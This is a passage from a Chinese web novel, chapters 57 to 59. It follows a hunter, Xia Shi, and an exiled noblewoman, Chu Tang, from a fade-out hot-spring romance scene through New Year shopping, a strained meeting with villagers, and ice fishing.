恰在此时,一只湿漉漉的手握住了她无处安放的手。那只手修长有力,指尖和虎口却生着一层薄茧。那是持刀捏箭的手,不似闺阁女儿的白嫩无暇。 楚棠下意识握紧了那只手,像是终于找到了借力之处。 可显然,夏时并不满足于此,所以她牵引着楚棠的手落在了自己腰间。 夏时的腰肢很细,线条柔美又不失力量,小腹上更有一层鲜明的腹肌,摸上去柔韧而富有弹性……那也是寻常女儿家没有的,楚棠曾意外摸到过一次。虽不至于念念不忘,但此刻她的手又落在了那劲瘦的腰间,便似有了自己的想法一般,忍不住轻轻在那腹肌上摸了一把。 彼时两人唇瓣相贴,夏时的心思多半放在了这个吻上,分出心神去牵楚棠的手也不过是余光看见她的手抬抬落落,无措的样子让人怜惜。 可她大概怎么也想不到,明明拘谨到不行的人,此刻竟大胆的在她腰腹上抚摸起来。 柔软的小手摸上她腹肌的那一刻,夏时忍不住轻“哼”了一声,旋即便感觉到一股火热从对方手掌所到之处蔓延开来。烧得她浑身一僵,下意思按住了那只煽风点火的手。 夏时身体微微后撤,终于结束这个吻,松开了楚棠的唇。 两人四目相对,夏时的眼睛依旧明亮,但比起从前来似乎多了某些不可言说的情绪。 楚棠像是被那目光烫了一下,下意识别开了脸,但她被夏时按住的手没有动,更没有推开眼前人。 夏时便知道某些事情被默认了,她忍不住舔了舔唇,方才尝到的柿饼甜香似乎还在唇舌间蔓延——秋日她背了好几篓柿子回来,削皮之后晒成了许多柿饼,但从秋天吃到冬天,那么多柿饼里似乎今日尝到的这一块是最甜的。浅尝辄止,也甜到了她的心里。 少年人蠢蠢欲动的心开始按捺不住,夏时又往前踏出一步。原本就离得很近的两人,这次是真的贴在了一起,山丘抵着山丘,紧实的腹肌贴上了柔软的小腹。 楚棠后背靠着温泉池壁,面前又被夏时步步紧逼,终是被她困在了方寸之地。 夏时一手搂在楚棠后背上,将她与坚硬的石壁隔离开,另一只手松开楚棠的手撑在了池壁上,将人整个揽入了怀中。她低垂着眉眼看向怀中人,似乎想说些什么,又觉得此时此刻说什么都是多余的。于是她俯下身,在楚棠唇上啄吻了一下。 这个吻蜻蜓点水,不似之前缠绵,可方才离开便又再次吻了下去,这次吻的是唇角。 猎人总是不缺耐心的,尤其是在她们锁定了目标之后——夏时一下下的啄吻着楚棠,从唇瓣到唇角,再到脸颊、耳边、颈侧,进而有再度向下的趋势。 夏时每吻一次,都会抬眸窥探楚棠的脸色,见对方并没有排斥,这才继续。 白色的中衣在水流浸染下早已变得透明,穿在身上既不能保温隔热,也不能遮掩风光。可那到底还是楚棠身上最后一层保护,因此当夏时借着水流轻轻揭开她的衣襟,将吻落在她肩头的那一刻,楚棠的身体还是不可避免的紧绷起来。 她忽的有些惶恐,抬手抱住了夏时后背,正要说些什么,却被吻堵住了唇舌。紧接着便觉后背上那只手在她脊背轻抚,一下又一下,似在安抚她的不安,让她渐渐放松下来。 终究,楚棠也没能将人推开。 ***************************************************** /:. 这场温泉泡的时间着实有些长了,两人午后便出了门,可等从温泉池里爬出来已经是半下午了。 众所周知,温泉虽好却不能久泡。楚棠的体质又算不得好,等从温泉池里出来时,已是浑身酥软头晕眼花,险些昏在温泉池里。 所幸她不是一个人来泡的温泉,同伴可靠又康健,将她从温泉池里抱出来了不说,还替她擦身穿衣,将人照顾得妥妥帖帖。末了怕她体力耗尽,还又喂了她些吃的喝的。 香甜的柿饼被放到嘴边时,楚棠第一次生出了排斥之心,微微别过了头:“不要。” 她嗓音嘶哑,像是染了风寒。可向来对她身体十分关心的夏时此刻却没有着急询问,她低头像是笑了下,顺手把那柿饼叼进了自己嘴里,紧接着又掏出根肉干喂到了楚棠嘴边。 楚棠看看面前的肉干,又看了眼叼着柿饼的夏时,蓦地瞪了她一眼。 只这一眼却没什么威势,眼波流转间,反倒透出股别样的风情。 夏时一时看得愣住,嘴里的柿饼险些没有叼住,好在楚棠见她这傻样及时收回目光没在理她。转过头,又从她手中咬走了那根肉干,手上一空的夏时这才回神。 她拿下柿饼轻咳了一声,心跳还有些快,一低头又兀自红了脸,可嘴角的笑无论如何也掩不住。 不多时,夏时又抬眸去看楚棠,却不料正对上对方的视线。两人四目相对间,似乎有股别样的氛围开始蔓延,引得夏时抱着人犹觉不满足,还想往前再凑上一凑。 楚棠直觉不好,忽的扯出块帕子扔到夏时头上:“头发还湿着呢,赶紧擦一擦,免得这大冬天吹了冷风,着凉是小,患上头风可就有的受了。” 陡然被帕子遮住了视线,夏时也没恼,乖乖“哦”了一声,扯过帕子就在自己脑袋上胡乱擦了一通。 夏时的头发其实不算太长,猎户常年在山中奔走,总是怎么方便怎么来。每每见到头发长了碍事,她就会主动剪短,剩下的头发够扎个高马尾就不会有人质疑。 可楚棠不同,她从前生活优渥,一头长发及腰且养得极好。即便后来家中遭难踏上了流放之路,这头长发也还没来得及处置,再之后遇上夏时,后者就更舍不得动她的头发了。时至今日,这头长发依旧柔顺漂亮,唯一的问题就是打湿之后想要晾干并不容易。 夏时胡乱擦干自己的头发之后,就开始替楚棠打理长发。和她对待自己的头发胡乱下手不同,她捞起楚棠秀发的动作堪称温柔细致,甚至还从篮子里翻出了一把梳子来,细细将那长发梳通。 简陋的温泉山洞里什么都没有,楚棠便一直靠坐在夏时怀里,由她抱着。 请山下村人制作的肉干滋味儿虽然不错,但为了保存时间却烤制得极干,一口咬下去硬邦邦的根本咬不动。楚棠咬着肉干几乎是在磨牙,不过她有的是耐心,便一边磨牙一边看着夏时动作——长长的乌发被她撩起,用小木梳梳得通顺之后,再用布巾包裹着一点点挤干发丝间的水分。 夏时的动作极温柔,耐心更是十足,她一点点擦拭着楚棠的秀发,没拉扯到楚棠半分。楚棠瞧着她耐心细致的模样,倒是比从前照顾自己的侍女做的更好。 楚棠的心一点点被那温柔笼罩,几番起伏的心绪也在夏时轻缓的动作中缓缓平复下来。 她微微一偏头,靠在了夏时肩上,有些妨碍她擦头发的动作了。可夏时只是侧头看了一眼,也并没有说些什么,反而略动了动手臂,将人揽得更紧了些,不再影响她手上动作。 楚棠又伸手抱住了夏时的腰,这一次她理直气壮的摸了摸后者紧实的腹肌,然后在对方略略僵硬的时候,语气平淡的开口:“晚上回去,我们吃些什么?” 夏时没想到她会说这个,微微一愣之后问她:“你想吃什么?” 楚棠闻言横了她一眼,但这一眼也透着柔软:“我想吃什么你便有什么吗?”说着报了一串菜名,又问夏时:“这些你会做吗?” 夏时诚实的摇头,别说做了,有些菜她听都没听说过。 楚棠自然不会失望,手指勾了夏时一缕发丝在指尖打卷:“那你有什么,就做给我吃什么好了。” 这话说得颇有些嫁鸡随鸡的意思,夏时没从楚棠的话里听出嫌弃,心里多少有些高兴。不过她也不愿意委屈了对方,便说道:“你说的那些菜,等以后我带你进城去吃。”说完想了想,又道:“那今晚咱们吃锅子吧,简单还暖和,一会儿回家我就准备。” 秋天的时候家里就开了小菜园,原本夏时是准备种些菜方便楚棠吃的。奈何她只学过打猎,没学过种地,开出的菜地算不上好,种的菜更是一副面黄肌瘦的可怜模样。入了冬就更惨了,长出的菜苗凑不出一盘菜,索性今日全给摘了,有多少算多少。 楚棠闻言也没拒绝,她磨了半天牙,终于把手里那根肉干给啃完了。别过头再看眼夏时的工作进度,托对方细致的福,倒真将她的头发擦了个□□成干。 抬手撩了撩自己的长发,已经摸不出太多的湿意了,楚棠便对夏时说道:“收拾收拾,咱们回去吧,我有些饿了。” 夏时应了声“好”,将抱着的人放了下来:“你先在这里等等,我去把洞口打开。” 她这一去就是一刻钟,封闭的洞口早就被重新打开了,光线也重新洒落进来。可楚棠之后还是等了许久,最后等到夏时回来,手里又拎了一只兔子——这兔子一看就是她从隔壁那个大的温泉山洞里捉来的,带回家正好做一锅新鲜的兔肉火锅。 夏时照例和老婆献宝之后,又把兔子捆了,带来的东西也很快收拾妥当。末了她再把楚棠一层层裹好,未干透的长发也包了起来,这才走到楚棠跟前蹲下身:“走吧,今天我背你回去。” 楚棠抿了下唇,没有多说什么,张开手臂趴在了夏时背上,接着环住了她的脖颈。 小猎户的肩背并不宽阔,但背着她一步一步往家走的时候,总让人觉得沉稳可靠……楚棠低头将脸贴在了她后肩上,眼眸微阖,较之寻常似又多了两分依赖。 57☆、第57章 ◎装扮给我看啊,我可爱美人了◎ 温泉一行之后,两人的生活并没有太大的变化。 除了隔三差五多了一个泡温泉的行程之外,也就是睡得早了些,起得迟了些。不过现下正是寒冬腊月,日常也没有什么事需要出门,窝在家里猫冬也丝毫不受影响。 如此两人又在山中过了一段无人打扰的悠哉日子,终于在临近月底的时候下了山——原因无他,已经十二月了,哪怕是躲在山中独居的猎户家,也是要过年的。而且因为今年家里多了一个人,终于不再是夏时一个人过日子,她对于两人在一起后的第一个新年也是相当重视。 为此,两人又选了个雪后天晴的好日子下了山,只是这次却没再往石田村去,而是径自去了县城。 过年需要采买的东西不少,糕点、瓜果、红纸、酒水,各种各样的年货接连被夏时装进了背来的背篓里。相反别家过年需要采购的肉食,他们家反倒不缺——自从在温泉山洞里抓到那只兔子开始,那里就正式成为了夏时冬日的狩猎场。好在她天冷她去的次数不多,只偶尔想吃新鲜肉了才去一趟,那些小动物倒也没有因此被吓跑,仍旧抱团留在了那里过冬。 饶是如此,夏时的背篓也很快装满了。她托了托沉甸甸的背篓,转头问楚棠:“过年还有什么需要买的吗?或者你有没有什么想买的?” 两人现在是真不缺钱,不说楚棠收到的那一箱金子根本没动,夏时也并不是个小气的人。今日她就揣了不少银子进城,势必要向老婆证明,哪怕没有那箱金子她也养得起她。 楚棠倒是没有留意夏时*的这些小心思,她挽着夏时的手臂,又看了看她身后的背篓,最后摇了摇头:“应该差不多了吧?咱们就两个人,也无需准备太多。” 事实上楚棠也不太清楚具体应该准备些什么,哪怕她从前在家时,也跟着学过管家。可那时一切事务有管家帮忙打理,她更多的是吩咐下去,再看一看采买单子。如今需要她亲自采买年货不说,小门小户和尚书府过年准备的东西,也大有不同。 不过楚棠倒没觉得有多失落,相反陪着夏时一起置办年货,让她觉得新奇之余也颇开怀。 两人这天逛遍了整个县城,最后夏时的脚步停在了一家首饰铺前。 这家首饰铺在县城里颇有些名气,据说县令家的女眷最爱来这里买东西,因此也引得不少富贵人家效仿装扮。不过也正因为来往的客人非富即贵,首饰铺的生意虽然不差,但平常逛铺子的人却不多。今日却是不同,许是快过年的原因,许多穿着普通的妇人女郎也都走近了店中。 夏时也想给楚棠买点首饰。这想法她从前没有,因为她自己都是胡乱将头发一扎就完事,根本没有首饰可言,也想不到天生丽质的楚棠需要首饰装点。但自从那日她替楚棠打理长发,让那如云秀发从指尖滑过开始,她就一直想给她买只挽发的簪子了。 趁着过年,趁着她今天带了不少银子出门,夏时紧了紧和楚棠挽着的手臂:“走,咱们进去看看。” 楚棠从前倒是常逛首饰铺,而且京城的首饰总是样式最新,最漂亮的。眼前的首饰铺在她眼里不值一提,因此她也没有纠结,跟着夏时便走了进去。 两人的装扮很是普通,外表看来唯一之前的装扮就是楚棠那身皮裘了,身上头上更是半点首饰也无。首饰铺的伙计也是有眼力的,目光往两人身上一扫,便将二人当成了那些过年才敢进门的寻常客人。脸上笑容倒是依旧,手一引便冲二人笑道:“二位女郎,这边有新来的绢花,可要去看看?” 绢花算是这铺子里最便宜的商品了,但也不是外面的绢花能比的。 夏时顺着伙计的示意看了一眼,便见三五个女子正围在一处柜台前,柜台上则是几个托盘,里面红的黄的各式绢花装满了托盘。 乍一眼扫过去,几乎看不出那些是假花,竟做得与真花无异。 这寒冬腊月的时节,有朵以假乱真的花簪在鬓边,也是相当不错的。女儿家爱俏,因此哪怕手中拮据,也有不少女郎会来这里买朵绢花过年戴。 好东西谁也不会嫌弃,夏时见那绢花做得真好,便带着楚棠走了过去:“这绢花做得真漂亮,也不知谁手这般巧,做得与真的一样。”说完又扭头去看楚棠:“阿棠,你喜欢什么花?” 楚棠也看到了那几托盘的绢花,说实话做工确实还不错,几可以假乱真。但奈何她眼界高,见过更好的,京城的绢花不仅做工更精致,甚至还会往那些假花上熏香,熏成真花的香味儿。戴上绢花走上一圈,隐隐还能闻见花香,便更难辨真假了。 不过这些她都没提,她看了看托盘中的绢花,随口一提:“我喜欢梅花。” 夏时一愣,几乎下意识的反问:“你不喜欢海棠花吗?” 楚棠一想就知道她为什么这么问,无奈又好笑的看她:“我名字里有棠,就非得喜欢海棠吗?” 那倒也不是。 夏时讪讪摸了摸鼻子,立刻转移话题:“梅花呀,那现在冬天正是赏梅的季节。我知道山上有一片梅林,和咱们平时去的方向不同,等回头我就带你去那边看梅花。” 楚棠横她一眼,笑着应了声好,随便挑捡了两支绢花拿在手里。 夏时见别的姑娘买了绢花都簪在头上,也要提她簪上,结果却被楚棠拒绝了。她也没在意,扭头又冲伙计问道:“店里有什么好看的簪子吗?” 伙计闻言目光又在两人头上扫了一圈,夏时头发不长,主打一个干净利落。倒是楚棠一头秀发养得又黑又亮,伙计一眼就看出这簪子是替谁买的了:“自然是有,客官请往这边来。” 卖绢花的柜台就在首饰铺门口,两人又跟着伙计往店中走去,这才看见金的银的玉的各种首饰。从钗环玉佩、手镯耳饰,到发冠扳指,不一而足。 夏时扫了一眼,又扫了一眼,觉得那些漂亮的首饰戴在楚棠身上肯定都很漂亮。 倒是楚棠目不斜视的跟着伙计走了进去,最后几人又来到了一处柜台前,伙计走到里面拿钥匙打开了一处柜门,紧接着端出几个托盘来给两人看:“二位女郎,且先看看这些发簪,可有合意的?” 伙计倒也没有敷衍她们,端出来的托盘里足足放了二十来根发簪。有金有银有玉,做工虽不是巧夺天工的巧手之作,也至少是精致漂亮。至少夏时看着就很喜欢,甚至看来看去有些挑花了眼,最后不得不扭头问楚棠:“阿棠,你喜欢哪一支?” 楚棠细细看过,最后挑了支银簪,簪头上正是几朵栩栩如生的梅花,看起来简单又素雅。她拇指摩挲过花瓣,转头对夏时说:“我看这支就不错。” 夏时没什么意见,见她喜欢就很高兴,问过伙计价格也不算贵,当即就爽快的付了钱。 簪子到手,夏时就替楚棠插在了头上,左右看了看,笑眯眯说道:“新年礼物,好像还不错。”说完目光又落在楚棠白皙小巧的耳朵上,瞧见那耳垂上的小孔,又道:“不然再挑一副耳环吧。” 楚棠却拒绝了,拉着她走出了首饰铺:“不用了,我不爱戴耳环,累赘。” 夏时想了想,便也没拒绝——她也不是很想楚棠戴耳环,因为某些时候含着那小巧的耳垂,她其实还挺喜欢的。如果戴上耳环,冷冰冰的金属含在嘴里,那可太煞风景了。 两人于是离开了首饰铺,之后夏时像是终于想起了自家老婆虽然漂亮,但也需要打扮,于是又借着过年的由头去了脂粉铺给老婆添置了胭脂水粉。 楚棠对此不置可否:“成日待在山中,何须这般妆点。” 夏时一边挑着胭脂,一边冲她眨眨眼:“装扮给我看啊,我可爱美人了。” 楚棠被她看得面上微红,又不好意思在外多说,嗔了她一眼也就由她去了。等到买完胭脂重新回到街上,楚棠才问她:“当初你买下我,便是因为这个原因吗?” 那还真不是,不说楚棠当初有多狼狈,就算她真是个大美人站在夏时面前,那时吸引夏时目光的也绝对是她头顶的那行字——话又说回来,如今几个月过去了,夏时也再没看到什么凭空出现的字。她也由此更加相信,她和楚棠绝对是天定的缘分! 不过这话说出来老婆不一定会信,夏时便顺着楚棠的话模棱两可的说道:“当初我第一眼看到你,便觉得你该是我老婆。”说完又补充了一句:“你就算没这样漂亮,也该是我老婆。” 楚棠听了脸一红,见夏时满脸认真不像是说假话哄人,也还是嗔了她一眼:“花言巧语。” 话是这样说,她挽着夏时的手却没松,两人紧挨在一起的身影看着便十分亲密。旁人见了,也不会觉得这是两个关系亲近的姐妹,轻而易举便能分辨出这是感情不错的小两口。 两人一边说说笑笑,一边逛街采买年货,直到遇到了一群熟悉的人——年关将近,附近村子里的人也进城来置办年货了。夏时和楚棠下山时没进村子,此刻却在城中遇到了石田村结伴而来的一群人,其中田二两夫妻也都来了。 双方碰面,那两人多少有些心虚和尴尬,不过还是上前来打了招呼。 58☆、第58章 ◎你能不能正经一点◎ 夏时两人与田二夫妇已经许久没有联系了。 近段时间两人还是头一回下山,也再没往石田村跑过。一来是她俩过着自己的小日子,没心思再往村里跑,二来也是因为当初田村长理直气壮往山上送人的举动。 如果当初夏时和楚棠不是恰好在村里看到了事情始末,如果她俩真相信了石田村众人能守口如瓶,如果她们真看着田村长和田二家的面子收留了钱老头夫妇,那等赌坊的打手找上门来时,两人便是有口也说不清,必然是要牵扯进这桩烂账里的。 田二夫妇亲自送了钱家老两口上山,可以说是她们听从村长的吩咐,但从另一个角度来看,也未尝不是因为两人并未将其中风险看在眼里,根本没有站在夏时和楚棠的立场上考虑过。 与人相交,总归是有来有往,既然对方不将两家的情谊当回事,楚棠和夏时自然也不会强求。 就这样,夏时和楚棠久久不曾下山,山下的田二两口子也没有主动联系,双方的关系似乎就在这个冬天又浅淡了下来。直到今日再次在县城里遇上,楚棠和夏时已经能放平心态,倒是田二两口子见了她们似有些心虚羞愧,许久才期期艾艾走上前来打了个招呼。 毕竟是认识,楚棠和夏时也不至于不理会,两人随口应了一声。 田二挤出抹笑,又看了眼夏时背着的背篓:“你们这是来置办年货了?怎么连萝卜这些都买,这些菜村里有的是,回去我给你们装一背篓也不是问题。” 村里的菜比城里的便宜不止一点,夏时往常也多往村里去买。可田二虽不是什么小气人,往常也绝不会说白送,今日这话听着就像是赔罪,偏又拐弯抹角不肯明说。 夏时和楚棠扫一眼同行的村人,倒也能够理解田二的“委婉”,不过两人自觉上回的事不是一背篓菜蔬就能揭过去的。因此夏时笑了笑,相当客气的推辞了:“这就不必了。反正今日我们进城采买,缺什么直接买回去好了,再说一背篓的菜我俩也吃不完。” 田二也不傻,一听夏时这样回话,就知道对方无意修复关系。他不由在心里叹了口气,也觉得有些冤枉——田村长是他亲近的长辈,就算不看村长的面子,对方吩咐的话他也不得不听。原本送人上山避祸也不是什么了不起的大事,可问题是村里人掉链子,转头就把夏时给卖了。 赌坊的人没找到钱老头是夏时提前把人送走了,可村里人这作为,别说夏时了,就是田二两口子知道后都气得咬牙。可终究是他们没拦住,再见就觉得矮对方一头。 田二没脸说些什么,讪讪一笑之后就闭了嘴。 田二嫂见了却是暗自恼怒,偷偷在自家男人腰上狠掐了一记。紧接着她一挥手把没用的男人推开,自己迎了上去,也不顾忌身后还跟了一群同村人,便说道:“那狗男人要面子,还是我来说吧。上回的事是我们欠考虑了,也没想到村里人如此不靠谱,给二位添麻烦了,对不住。” 此言一出,夏时和楚棠还没怎样,倒是石田村那群人里有好几个脸色不自在的。 楚棠和夏时都很敏锐,一眼扫过就知道,那几个正是在赌坊打手面前出卖了她们的人。不过两人也没寻根究底的打算,毕竟赌坊的人没找到钱老头,这些卖了“假消息”的也不会讨到好。 两人无意纠缠,摆摆手道:“已经过去的事,不必再提,就这样吧。” 说完这话,夏时也没给田二嫂多话的机会,直接拉着楚棠就走了。田二嫂见状有些急,还想追,却被田二一把拉住了。 夫妻俩嘀嘀咕咕又说了些什么,头也不回走远的夏时两人却是不知道了。 直到走得足够远了,夏时才回头看了一眼,紧接着便是一声轻哼:“这些人尽是靠不住的,也不必与她们深交。”说着还多看了楚棠两眼。 楚棠有些无奈,心知自家与田二家的交情,还是从自己这里来的。她想想当初的打算,到底还是和夏时说了实话:“是我交友不慎。当初我初来乍到,又与你住在了山中,便总想着要与外界有些联系。我看田二嫂性子热情爽朗,很好相处,这才选了她。” 夏时听到这话却是一瘪嘴:“怎么,你是觉得我靠不住吗?” 楚棠一看就知道,这人再不哄就要闹小脾气了。她赶紧伸手将人抱了抱:“哪有的事?只是当初咱俩关系不似如今亲密,我又有心想要与京城旧友联系,便总想着设法请人往京城送封信。我教大丫识字也是一样,她一人学了,说不定村里的孩子都想跟我学。到时候跟我学识字的孩子多了,他们总不能毫无表示,我赚些送信钱应该问题不大。” 夏时听她将当初的打算娓娓道来,一时间说不清是好气还是好笑,又哼了一声:“怎么,在你眼里我就这般吝啬,连送封信的钱都舍不得为你花?” 那当然不是,两人关系更近一步还是最近的事,可信是早就花钱送去京城了的。 楚棠也知道自己是小瞧了夏时,这时也顾不得是在大街上了,赶紧在她脸颊上亲了下算是赔罪:“哪有的事,我家阿时最大方了。” 夏时也是好哄,亲一下再说两句软话,她便又高兴起来。 ****************************************************************** 两人这一趟在城中采买了不少东西,背回家后别的不说,伙食确是大大的改善了。 这一趟采购结束,时间也就越发接近年底。山中的梅花林还没找到机会去看,小两口却是要为这个小家操办起过年的事了,两个人的家也变得热闹忙碌起来。 夏时抽了一天时间,仔仔细细将几间屋子清扫了一遍。久未清理的小院不说焕然一新,也让屋子里看上去干净清爽了不少。 期间楚棠就帮着擦了擦桌椅,转头还被夏时捂着手劝退了,怕她大冬天碰湿抹布会冻到手着凉。搬搬抬抬之类的活儿就更用不着她了,最后楚棠实在帮不上忙,只好找了个瓶子,把买来的绢花插里头放在了桌上,也算是为这个家在冬日添了一抹色彩。 夏时见了也不觉得浪费,反而笑道:“冬日也就看些假花了。还得等春天,春天咱们这山上姹紫嫣红,漂亮的花多得是,到时候都摘回来插瓶,保你喜欢。” 楚棠闻言也有些向往,倒不止是向往春日的花,实在是暖春要比寒冬好过许多。 她正这样想着,就见夏时转了转桌上的花瓶,转头对她道:“不过春天的事还是等春天再说,冬天也有冬天的好处。” 楚棠一挑眉,不觉得成天窝在家里猫冬的冬天有什么好的,尤其她还怕冷。 夏时见状便冲她笑:“明天咱们出去一趟吧。快过年了,饭桌上总得有条鱼,上回咱们进城没买到,不如直接去溪水边钓鱼怎么样?” 山中溪流里是有鱼的,还不少,毕竟平日并没有人会去捕捞,夏时也只偶尔才去捉条鱼。 楚棠一听就来了兴趣,吃不吃鱼倒在其次,主要是冬日垂钓这事听着就有趣。她双眸亮了亮,旋即又有些迟疑:“溪水边,会不会太冷?” 夏时对此却是早有准备,也不知从哪儿摸出了只手炉来,递到楚棠面前献宝:“看我买了什么?这手炉里面可以放炭火,到时候你把它拢在袖子里,带出去也不会被冻到了。”说完又凑前两步,几乎贴到了楚棠身上:“要是还觉得冷,那就去温泉泡一泡,驱驱寒。” 两人这些日子其实也没少去泡温泉,甚至还从家里带了不少东西过去,将那空荡荡的山洞布置了一翻。只是东西布置的越齐全,某些人就越不老实,还美其名曰山洞比家里暖和,不怕冻。 这种事经历了一次两次三次,楚棠再听到夏时说什么泡温泉,就很难再用正常的眼光去看待这个词了。几乎刚听到“泡温泉”三个字,她耳根就红了,接着一把将贴过来的人推开,嗔道:“说正事呢,你能不能正经一点?!” 夏时被推开也不恼,熟练的一勾手揽住了楚棠的细腰,她难得笑得有些痞气:“怎么就不正经了?咱们这不是在说年夜饭的事吗?” 楚棠睨她一眼,指尖在她心口点了点,意思是她心知肚明。 夏时便又笑起来,顺手抓起楚棠的手在她指尖上亲了一口,问她:“怎么样,钓鱼去不去?” 楚棠最近已经习惯这般黏黏糊糊的相处了,再加上她确实有点兴趣,便点了点头:“去啊。不过这大冷天的,你要是钓不到鱼害我白跑一趟……” 夏时闻言自信的冲她眨眨眼,保证道:“放心吧,你想要几条鱼就有几条鱼。”说完不等楚棠嗔她说大话,她便又自顾自继续说道:“咱们还可以带点谷子,再带个箩筐去。钓鱼的时候顺便抓几只鸟,也不必等过年吃年夜饭了,我烤鸟的手艺也是相当不错,到时候让你尝尝鲜。” 这个楚棠还真没吃过,像这样的野物总是上不得台面的。不过她听夏时说起幼时怎么爬树掏鸟蛋,又怎么用弹弓打了鸟烤来吃,一时间也听得津津有味,倒对明日的行程生出了许多期待来。 59☆、第59章 ◎自然是阿棠比我更厉害◎ 年关将近,正是忙碌的时候,但这并不妨碍小两口抽一天空闲出门钓鱼。 恰好这日天气尚好,一夜风雪之后天亮时雪就停了,夏时便也没有改期的打算。她先去库房里翻找出了钓鱼的各种器具,又去捡了木炭来备好手炉,等一切准备停当,这才扛着钓竿拎着篮子,和包裹得严严实实的楚棠一起出门了。 云雾山占地广阔,山中的泉水溪流并不止一处,不过距离夏家小院最近的一处溪流,还要数当初遇见野猪和豹子的那处。 不过如今豹子已经成了她家的豹皮褥子,野猪也在入冬后另寻了他处觅食。 前些日子夏时还来这溪水边看过一回,只在溪畔发现了少数小动物活动的痕迹。落雪之后小动物们不缺水喝,怕是连饮水也不来这溪边,这处地方也就完全冷清了下来。 夏时没多考虑,便选了这处溪水做两人今日钓鱼的地方。 两人踏着一路积雪走了好半天,目光所见尽是昨夜积雪,直到夏时提醒才发现已经到了地方。 楚棠远远一看,便见那溪水边也是一片白茫茫,根本不见溪水流动的样子,不由拉住了夏时的胳膊:“遭了,昨晚雪下的久,溪水好像结冰了。” 她说着话眉头不由蹙起,因为在她的记忆里,京城冬天的河水若是结冰,基本上都是厚厚的一层,人可以踩上去行走,甚至在冰上冰嬉,要到来年开春冰才会化。在这云雾山上过冬,她也没觉此地比京城更暖和,因此也怀疑冰厚,觉得今日这鱼恐怕是钓不成了。 夏时闻言却不着急,拉着楚棠又往前走了一段,便见那溪水之上果然已经结了一层冰。不过这冰层显然没有楚棠担心的那样厚,仔细一看还能瞧见冰面下水流涌动呢。 楚棠也探头看了眼:“咦,这冰好像也不是很厚。” 夏时往年冬天也会出门狩猎,因此也不是头一次见到溪水结冰了。她看了一眼有了判断,便满意的点点头,对楚棠笑道:“这冰可不是昨晚落雪才结的,前几日就冻上了。好在山上的溪水结冰向来不会很厚,这种时候钓鱼正好。” 楚棠闻言不由好奇起来,就见夏时将带来的东西放在了地上,开始准备钓鱼了。 只是楚棠没想到,夏时将东西收拾出来后,第一时间竟是端出个小马扎放在她跟前,冲她说道:“走了这么久,累了吧?来这里先坐着休息会儿。” 楚棠没想到她还专程为自己带了马扎来,有些熨帖,又有些麻烦了别人的脸红。不过夏时能这般惦记着自己,总是令人高兴的,因此楚棠也没有扫兴,抿了下上扬的唇,便拢了拢身上的皮裘,在那小小的马扎上坐了下来,继续看夏时折腾。 夏时为钓鱼准备的东西其实不多,拢共也就一把钓竿,一点鱼饵,以及一把抄网。就在楚棠以为她会挂饵准备垂钓时,却见夏时低着头开始四处寻找什么。 很快就听“咔嚓”一声,却是夏时在溪边随便捡了块大石头扔在了冰上。 这溪水上的结冰本就不算厚,夏时扔下去的石头又沉,一下子便将那冰层砸开了。看一看断裂处,那冰也就两指厚,下方便是流淌的清澈溪水。 夏时退开两步避过了溅起来的溪水,扭头问楚棠:“怎么样,没有被溪水溅到吧?” 楚棠拢着手炉摇摇头,她坐得远着呢,溪水哪里能溅到她身上。 夏时也就随口一问,见状便也放了心,很快拿起抄网放到了那砸出来的冰洞里。接着她又回过了头,这次却是压低了声音:“鱼在冰下憋了几天了,如今有了透气的地方,很快就会汇聚过来。我试试看能不能用网直接捞到,捞不到再用钓的。” 楚棠不懂这些,便听她的等着看结果。 夏时说得不错,这溪水中的鱼本就因无人捕捞繁衍了许多,冬日结冰之后这些鱼憋在水里久了,察觉到冰层破裂能够透气,便纷纷涌了过来。 两人并没有等太久,水中便已有了动静,夏时冲着楚棠比了个噤声的手势过后,两人便彻底安静下来,等着捕捞的时机——猎人从不缺乏耐心,好的猎人更能抓住稍纵即逝的机会。 夏时毫无疑问是个优秀的猎人,她扶着抄网的杆子静静等待片刻,终于确定有鱼入网,于是飞快的往上一捞。便见白色的水花炸开,一尾鱼儿已经入了她网中,被她从冰洞里捞了出来。那鱼显然受惊不小,摇头摆尾很是折腾了一番,冰凉的溪水被甩的四处都是。 离得最近的夏时自然不能幸免,被鱼尾巴甩了一脸的水,冰得她生生打了个寒颤。原本想要向老婆献宝的心,也不得不收敛起来,反而将鱼拿得离楚棠更远一些。 楚棠反倒站了起来,主动往这边凑:“真捞到鱼了,这么快?!” 夏时身体挡在她面前,免得楚棠被鱼摆尾溅到水,脸上却是带笑:“怎么样,厉害吧?” 楚棠知她好意,也不再继续靠近,扒在她肩头看那尾鲜活的鱼,嘴里毫不吝啬的夸赞道:“真厉害,我还没见过谁钓鱼这么快有收获的。”说完摇摇她肩膀,脸上也生出几分跃跃欲试来:“网给我,让我也试试行吗?” 夏时被她这撒娇般的小动作逗笑,随手将往里的鱼扣到了远离溪水的岸边,也不管它如何挣扎了。随后她便将空掉的抄网递给了楚棠:“试试可以,不过我先与你说好了,网鱼也没那么容易的。” 楚棠自然知道,许多事看着简单,其实内里都是需要技巧的。不过她也只是想体验一下罢了,当下问过夏时其中需要注意的点,便将手里的手炉交给了对方,转而结果了抄网,照旧放在那冰洞里——夏时之前那一下动静不小,原本聚集过来的鱼都被惊跑了,再捞就需要重新等待了。 好在楚棠也不缺耐心,扶着抄网就在溪边静静的等着。直等到她两只暖和的小手被这凛冽冬风吹得一片冰冷僵硬,被惊跑的鱼这才又陆陆续续靠近了过来。 只是这些鱼已经被惊过了一次,这次再靠近冰洞就个个谨慎,没有之前那样一窝蜂涌上来透气的活跃了。楚棠因此又等了许久,才等到个自以为不错的时机,结果抄网一捞还是慢了半步,让她只能看着本已入网的鱼又挣扎着跳入了水中,接着飞快游走了。 楚棠见状还来不及可惜,便觉脚下一滑身子不稳,整个人向前栽去。 她心慌了一瞬,好在没等她扑到冰面上,腰间便被一条有力的手臂环住了。紧接着前扑的身体后仰,结结实实撞进个柔软怀抱,耳边是夏时着急的问话:“你怎么样,没事吧?” 楚棠靠在那熟悉的怀抱里,瞬间觉得安心,之前的心慌也一下子散了:“没事,就是一下子没站稳而已。” 夏时闻言却将下巴抵在了她肩头,语气中还带着几分未散的后怕:“还好没事,吓死我了。这冰层那么薄,你一脚踩上去就碎了。到时候落进水里倒是淹不死,可这般寒气你哪里受得住?”说完手臂一个用力,单手就将人从溪水边抱走了:“算了,你还是在旁边看着就好。” 楚棠有点失望,但也不想夏时担心,只好听话的回去坐着了。 只是经过两次抄网捞鱼,水里的鱼像是也知道了厉害,再不肯轻易冒头了。 